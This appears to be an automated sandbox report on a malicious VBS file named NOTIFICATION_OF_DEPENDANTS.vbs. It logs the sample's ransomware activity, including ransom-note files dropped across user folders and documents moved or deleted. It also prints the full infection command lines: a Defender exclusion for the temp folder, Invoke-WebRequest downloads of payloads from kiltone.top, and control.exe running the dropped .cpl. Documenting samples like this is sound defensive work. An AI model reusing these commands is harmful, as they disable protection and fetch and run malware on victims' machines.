Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\.ms-ad\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\3d objects\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\collab\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\forms\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\jscache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\crlcache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\acrobat\preflight acrobat continuous\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\crlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\crlogs\crashlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\flash player\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\flash player\nativecache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\headlights\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\linguistics\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\logtransport2\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\logtransport2cc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\rttransfer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\sonar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\adobe\sonar\sonarcc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\addins\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\credentials\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\keys\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\excel\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\excel\xlstart\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\low\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\protect\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\protect\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\speech\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\spelling\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\certificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\crls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\ctls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\vault\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\cloudstore\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\network shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\printer shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\automaticdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\recent items\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\sendto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessibility\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessories\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\chrome apps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\maintenance\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\system tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\templates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\themes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\microsoft\windows\themes\cachedfiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\extensions\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\pending pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\bookmarkbackups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\crashes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\crashes\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\archived\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\archived\2023-10\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\db\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\tmp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\minidumps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\saved-telemetry-pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\security_state\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\sessionstore-backups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595amcateirvtisty.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\temporary\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\to-be-removed\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\c6rta27r.default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\contacts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\cookies\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\favorites\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\favorites\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\onedrive\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\saved games\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\searches\decryptfiles.txt

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\QVTVNIBKSD.docx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\XQACHMZIHU\FACWLRWHGG.pdf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File deleted: C:\Users\user\Desktop\XQACHMZIHU\FACWLRWHGG.pdf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\MQAWXUYAIK\QVTVNIBKSD.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File moved: C:\Users\user\Desktop\MQAWXUYAIK.xlsx

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl			Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: NOTIFICATION_OF_DEPENDANTS.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@100/821@5/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5748:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwd53kjb.d2u.ps1

Jump to behavior

Source: unknown

